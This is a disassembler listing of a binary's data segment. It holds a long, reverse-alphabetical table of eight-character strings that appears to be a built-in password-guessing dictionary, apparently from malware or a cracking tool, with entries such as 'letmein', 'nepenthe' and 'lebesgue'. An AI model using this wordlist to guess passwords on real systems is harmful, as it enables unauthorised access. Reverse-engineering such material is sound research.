aOkay		db 'okay',0             ; DATA XREF: seg000:0042D478o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg000:0042D474o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: seg000:0042D470o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg000:0042D46Co
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg000:0042D468o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: seg000:0042D464o
aNuts		db 'nuts',0             ; DATA XREF: seg000:0042D460o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: seg000:0042D45Co
		align 4
aNumber		db 'number',0           ; DATA XREF: seg000:0042D458o
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg000:0042D454o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg000:0042D450o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg000:0042D44Co
		align 4
aNude		db 'nude',0             ; DATA XREF: seg000:0042D448o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg000:0042D444o
aNoxious	db 'noxious',0          ; DATA XREF: seg000:0042D440o
aNovember	db 'november',0         ; DATA XREF: seg000:0042D43Co
		align 10h
aNovel		db 'novel',0            ; DATA XREF: seg000:0042D438o
		align 4
aNova		db 'nova',0             ; DATA XREF: seg000:0042D434o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: seg000:0042D430o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg000:0042D42Co
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: seg000:0042D428o
		align 4
aNode		db 'node',0             ; DATA XREF: seg000:0042D424o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: seg000:0042D420o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg000:0042D41Co
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg000:0042D418o
		align 4
aNita		db 'nita',0             ; DATA XREF: seg000:0042D414o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: seg000:0042D410o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg000:0042D40Co
		align 4
aNight		db 'night',0            ; DATA XREF: seg000:0042D408o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: seg000:0042D404o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg000:0042D400o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg000:0042D3FCo
		align 4
aNext		db 'next',0             ; DATA XREF: seg000:0042D3F8o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg000:0042D3F4o
aNewton		db 'newton',0           ; DATA XREF: seg000:0042D3F0o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg000:0042D3ECo
		align 10h
aNews		db 'news',0             ; DATA XREF: seg000:0042D3E8o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg000:0042D3E4o
aNetwork_0	db 'network',0          ; DATA XREF: seg000:0042D3E0o
aNetscape	db 'netscape',0         ; DATA XREF: seg000:0042D3DCo
		align 4
aNess		db 'ness',0             ; DATA XREF: seg000:0042D3D8o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg000:0042D3D4o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg000:0042D3D0o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: seg000:0042D3CCo
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg000:0042D3C8o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: seg000:0042D3C4o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg000:0042D3C0o
		align 4
aName		db 'name',0             ; DATA XREF: seg000:0042D3BCo
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg000:0042D3B8o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg000:0042D3B4o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg000:0042D3B0o
aMsdos		db 'msdos',0            ; DATA XREF: seg000:0042D3ACo
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg000:0042D3A8o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg000:0042D3A4o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg000:0042D3A0o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg000:0042D39Co
		align 4
aMove		db 'move',0             ; DATA XREF: seg000:0042D398o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg000:0042D394o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg000:0042D390o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg000:0042D38Co
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: seg000:0042D388o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg000:0042D384o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg000:0042D380o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: seg000:0042D37Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg000:0042D378o
		align 10h
aMore		db 'more',0             ; DATA XREF: seg000:0042D374o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg000:0042D370o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: seg000:0042D36Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg000:0042D368o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: seg000:0042D364o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg000:0042D360o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: seg000:0042D35Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg000:0042D358o
		align 10h
aModem		db 'modem',0            ; DATA XREF: seg000:0042D354o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg000:0042D350o
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: seg000:0042D34Co
		align 4
aMission	db 'mission',0          ; DATA XREF: seg000:0042D348o
aMisfit		db 'misfit',0           ; DATA XREF: seg000:0042D344o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg000:0042D340o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: seg000:0042D33Co
aMine		db 'mine',0             ; DATA XREF: seg000:0042D338o
		align 10h
aMike		db 'mike',0             ; DATA XREF: seg000:0042D334o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg000:0042D330o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg000:0042D32Co
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: seg000:0042D328o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg000:0042D324o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg000:0042D320o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: seg000:0042D31Co
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg000:0042D318o
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg000:0042D314o
aMichelan	db 'michelan',0         ; DATA XREF: seg000:0042D310o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg000:0042D30Co
		align 10h
aMichael	db 'michael',0          ; DATA XREF: seg000:0042D308o
aMice		db 'mice',0             ; DATA XREF: seg000:0042D304o
		align 10h
aMets		db 'mets',0             ; DATA XREF: seg000:0042D300o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg000:0042D2FCo
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg000:0042D2F8o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: seg000:0042D2F4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg000:0042D2F0o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: seg000:0042D2ECo
aMenu		db 'menu',0             ; DATA XREF: seg000:0042D2E8o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: seg000:0042D2E4o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg000:0042D2E0o
		align 10h
aMember		db 'member',0           ; DATA XREF: seg000:0042D2DCo
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg000:0042D2D8o
aMellon		db 'mellon',0           ; DATA XREF: seg000:0042D2D4o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg000:0042D2D0o
aMegan		db 'megan',0            ; DATA XREF: seg000:0042D2CCo
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg000:0042D2C8o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg000:0042D2C4o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: seg000:0042D2C0o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg000:0042D2BCo
aMath		db 'math',0             ; DATA XREF: seg000:0042D2B8o
		align 4
aMaster		db 'master',0           ; DATA XREF: seg000:0042D2B4o
		align 10h
aMason		db 'mason',0            ; DATA XREF: seg000:0042D2B0o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg000:0042D2ACo
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: seg000:0042D2A8o
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg000:0042D2A4o
		align 10h
aMars		db 'mars',0             ; DATA XREF: seg000:0042D2A0o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg000:0042D29Co
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg000:0042D298o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg000:0042D294o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg000:0042D290o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg000:0042D28Co
aMarijuan	db 'marijuan',0         ; DATA XREF: seg000:0042D288o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: seg000:0042D284o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg000:0042D280o
aMaria		db 'maria',0            ; DATA XREF: seg000:0042D27Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg000:0042D278o
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg000:0042D274o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg000:0042D270o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg000:0042D26Co
aMana		db 'mana',0             ; DATA XREF: seg000:0042D268o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg000:0042D264o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg000:0042D260o
aMaint		db 'maint',0            ; DATA XREF: seg000:0042D25Co
		align 4
aMail		db 'mail',0             ; DATA XREF: seg000:0042D258o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg000:0042D254o
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg000:0042D250o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg000:0042D24Co
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg000:0042D248o
		align 4
aMack		db 'mack',0             ; DATA XREF: seg000:0042D244o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg000:0042D240o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg000:0042D23Co
aLynne		db 'lynne',0            ; DATA XREF: seg000:0042D238o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg000:0042D234o
		align 10h
aLust		db 'lust',0             ; DATA XREF: seg000:0042D230o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg000:0042D22Co
		align 10h
aLude		db 'lude',0             ; DATA XREF: seg000:0042D228o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg000:0042D224o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: seg000:0042D220o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg000:0042D21Co
		align 10h
aLover		db 'lover',0            ; DATA XREF: seg000:0042D218o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg000:0042D214o
aLouis		db 'louis',0            ; DATA XREF: seg000:0042D210o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg000:0042D20Co
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: seg000:0042D208o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg000:0042D204o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg000:0042D200o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg000:0042D1FCo
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg000:0042D1F8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg000:0042D1F4o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg000:0042D1F0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg000:0042D1ECo
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg000:0042D1E8o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: seg000:0042D1E4o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg000:0042D1E0o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg000:0042D1DCo
aLock		db 'lock',0             ; DATA XREF: seg000:0042D1D8o
		align 4
aLoad		db 'load',0             ; DATA XREF: seg000:0042D1D4o
		align 4
aLive		db 'live',0             ; DATA XREF: seg000:0042D1D0o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg000:0042D1CCo
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: seg000:0042D1C8o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg000:0042D1C4o
		align 10h
aLips		db 'lips',0             ; DATA XREF: seg000:0042D1C0o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg000:0042D1BCo
		align 10h
aLink		db 'link',0             ; DATA XREF: seg000:0042D1B8o
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg000:0042D1B4o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: seg000:0042D1B0o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg000:0042D1ACo
		align 4
aLima		db 'lima',0             ; DATA XREF: seg000:0042D1A8o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg000:0042D1A4o
		align 4
aLight		db 'light',0            ; DATA XREF: seg000:0042D1A0o
		align 10h
aLife		db 'life',0             ; DATA XREF: seg000:0042D19Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg000:0042D198o
		align 10h
aLick		db 'lick',0             ; DATA XREF: seg000:0042D194o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg000:0042D190o
aLiberal	db 'liberal',0          ; DATA XREF: seg000:0042D18Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg000:0042D188o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg000:0042D184o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg000:0042D180o
aLeslie		db 'leslie',0           ; DATA XREF: seg000:0042D17Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg000:0042D178o
aLeroy		db 'leroy',0            ; DATA XREF: seg000:0042D174o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg000:0042D170o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg000:0042D16Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg000:0042D168o
		align 4
aLeft		db 'left',0             ; DATA XREF: seg000:0042D164o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg000:0042D160o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg000:0042D15Co
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg000:0042D158o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg000:0042D154o
aLava		db 'lava',0             ; DATA XREF: seg000:0042D150o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg000:0042D14Co
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg000:0042D148o
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg000:0042D144o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg000:0042D140o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg000:0042D13Co
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg000:0042D138o
		align 4
aLana		db 'lana',0             ; DATA XREF: seg000:0042D134o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg000:0042D130o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: seg000:0042D12Co
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg000:0042D128o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: seg000:0042D124o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg000:0042D120o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: seg000:0042D11Co
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg000:0042D118o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg000:0042D114o
aKristie	db 'kristie',0          ; DATA XREF: seg000:0042D110o
aKristi		db 'kristi',0           ; DATA XREF: seg000:0042D10Co
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg000:0042D108o
aKrista		db 'krista',0           ; DATA XREF: seg000:0042D104o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg000:0042D100o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg000:0042D0FCo
		align 10h
aKnight		db 'knight',0           ; DATA XREF: seg000:0042D0F8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg000:0042D0F4o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: seg000:0042D0F0o
aKitten		db 'kitten',0           ; DATA XREF: seg000:0042D0ECo
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg000:0042D0E8o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg000:0042D0E4o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg000:0042D0E0o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: seg000:0042D0DCo
		align 4
aKing		db 'king',0             ; DATA XREF: seg000:0042D0D8o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: seg000:0042D0D4o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg000:0042D0D0o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg000:0042D0CCo
		align 10h
aKill		db 'kill',0             ; DATA XREF: seg000:0042D0C8o
		align 4
aKids		db 'kids',0             ; DATA XREF: seg000:0042D0C4o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: seg000:0042D0C0o
aKeyin		db 'keyin',0            ; DATA XREF: seg000:0042D0BCo
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: seg000:0042D0B8o
aKewl		db 'kewl',0             ; DATA XREF: seg000:0042D0B4o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: seg000:0042D0B0o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg000:0042D0ACo
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: seg000:0042D0A8o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg000:0042D0A4o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: seg000:0042D0A0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg000:0042D09Co
		align 10h
aKeri		db 'keri',0             ; DATA XREF: seg000:0042D098o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg000:0042D094o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: seg000:0042D090o
aKatina		db 'katina',0           ; DATA XREF: seg000:0042D08Co
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: seg000:0042D088o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg000:0042D084o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg000:0042D080o
		align 10h
aKate		db 'kate',0             ; DATA XREF: seg000:0042D07Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg000:0042D078o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: seg000:0042D074o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg000:0042D070o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: seg000:0042D06Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg000:0042D068o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: seg000:0042D064o
aJune		db 'june',0             ; DATA XREF: seg000:0042D060o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: seg000:0042D05Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg000:0042D058o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: seg000:0042D054o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg000:0042D050o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: seg000:0042D04Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg000:0042D048o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: seg000:0042D044o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg000:0042D040o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: seg000:0042D03Co
aJoshua		db 'joshua',0           ; DATA XREF: seg000:0042D038o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: seg000:0042D034o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg000:0042D030o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: seg000:0042D02Co
aJohn		db 'john',0             ; DATA XREF: seg000:0042D028o
		align 10h
aJody		db 'jody',0             ; DATA XREF: seg000:0042D024o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg000:0042D020o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: seg000:0042D01Co
		align 4
aJill		db 'jill',0             ; DATA XREF: seg000:0042D018o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: seg000:0042D014o
aJester		db 'jester',0           ; DATA XREF: seg000:0042D010o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: seg000:0042D00Co
aJerusale	db 'jerusale',0         ; DATA XREF: seg000:0042D008o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg000:0042D004o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg000:0042D000o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg000:0042CFFCo
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: seg000:0042CFF8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg000:0042CFF4o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: seg000:0042CFF0o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg000:0042CFECo
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: seg000:0042CFE8o
		align 4
aJava		db 'java',0             ; DATA XREF: seg000:0042CFE4o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: seg000:0042CFE0o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg000:0042CFDCo
		align 10h
aJanie		db 'janie',0            ; DATA XREF: seg000:0042CFD8o
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg000:0042CFD4o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: seg000:0042CFD0o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg000:0042CFCCo
		align 10h
aJail		db 'jail',0             ; DATA XREF: seg000:0042CFC8o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg000:0042CFC4o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: seg000:0042CFC0o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg000:0042CFBCo
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg000:0042CFB8o
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg000:0042CFB4o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg000:0042CFB0o
aInside		db 'inside',0           ; DATA XREF: seg000:0042CFACo
		align 4
aInput		db 'input',0            ; DATA XREF: seg000:0042CFA8o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg000:0042CFA4o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg000:0042CFA0o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: seg000:0042CF9Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg000:0042CF98o
aIngres		db 'ingres',0           ; DATA XREF: seg000:0042CF94o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg000:0042CF90o
aIndiana	db 'indiana',0          ; DATA XREF: seg000:0042CF8Co
aIndian		db 'indian',0           ; DATA XREF: seg000:0042CF88o
		align 10h
aIndia		db 'india',0            ; DATA XREF: seg000:0042CF84o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg000:0042CF80o
aImperial	db 'imperial',0         ; DATA XREF: seg000:0042CF7Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg000:0042CF78o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg000:0042CF74o
		align 4
aImage		db 'image',0            ; DATA XREF: seg000:0042CF70o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg000:0042CF6Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg000:0042CF68o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg000:0042CF64o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: seg000:0042CF60o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg000:0042CF5Co
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg000:0042CF58o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: seg000:0042CF54o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg000:0042CF50o
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: seg000:0042CF4Co
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg000:0042CF48o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: seg000:0042CF44o
		align 4
aHost		db 'host',0             ; DATA XREF: seg000:0042CF40o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: seg000:0042CF3Co
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg000:0042CF38o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: seg000:0042CF34o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg000:0042CF30o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg000:0042CF2Co
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg000:0042CF28o
aHooker		db 'hooker',0           ; DATA XREF: seg000:0042CF24o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg000:0042CF20o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg000:0042CF1Co
		align 10h
aHomer		db 'homer',0            ; DATA XREF: seg000:0042CF18o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg000:0042CF14o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg000:0042CF10o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: seg000:0042CF0Co
		align 4
aHole		db 'hole',0             ; DATA XREF: seg000:0042CF08o
		align 10h
aHits		db 'hits',0             ; DATA XREF: seg000:0042CF04o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg000:0042CF00o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: seg000:0042CEFCo
		align 4
aHigh		db 'high',0             ; DATA XREF: seg000:0042CEF8o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg000:0042CEF4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg000:0042CEF0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg000:0042CEECo
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg000:0042CEE8o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: seg000:0042CEE4o
aHeroin		db 'heroin',0           ; DATA XREF: seg000:0042CEE0o
		align 10h
aHero		db 'hero',0             ; DATA XREF: seg000:0042CEDCo
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg000:0042CED8o
aHerb		db 'herb',0             ; DATA XREF: seg000:0042CED4o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg000:0042CED0o
		align 10h
aHello		db 'hello',0            ; DATA XREF: seg000:0042CECCo
		align 4
aHell		db 'hell',0             ; DATA XREF: seg000:0042CEC8o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: seg000:0042CEC4o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg000:0042CEC0o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg000:0042CEBCo
		align 10h
aHeather	db 'heather',0          ; DATA XREF: seg000:0042CEB8o
aHeathen	db 'heathen',0          ; DATA XREF: seg000:0042CEB4o
aHeat		db 'heat',0             ; DATA XREF: seg000:0042CEB0o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg000:0042CEACo
		align 4
aHead		db 'head',0             ; DATA XREF: seg000:0042CEA8o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg000:0042CEA4o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg000:0042CEA0o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg000:0042CE9Co
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg000:0042CE98o
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg000:0042CE94o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg000:0042CE90o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg000:0042CE8Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg000:0042CE88o
		align 4
aHard		db 'hard',0             ; DATA XREF: seg000:0042CE84o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg000:0042CE80o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg000:0042CE7Co
aHandily	db 'handily',0          ; DATA XREF: seg000:0042CE78o
aHandel		db 'handel',0           ; DATA XREF: seg000:0042CE74o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: seg000:0042CE70o
aHamlet		db 'hamlet',0           ; DATA XREF: seg000:0042CE6Co
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: seg000:0042CE68o
		align 4
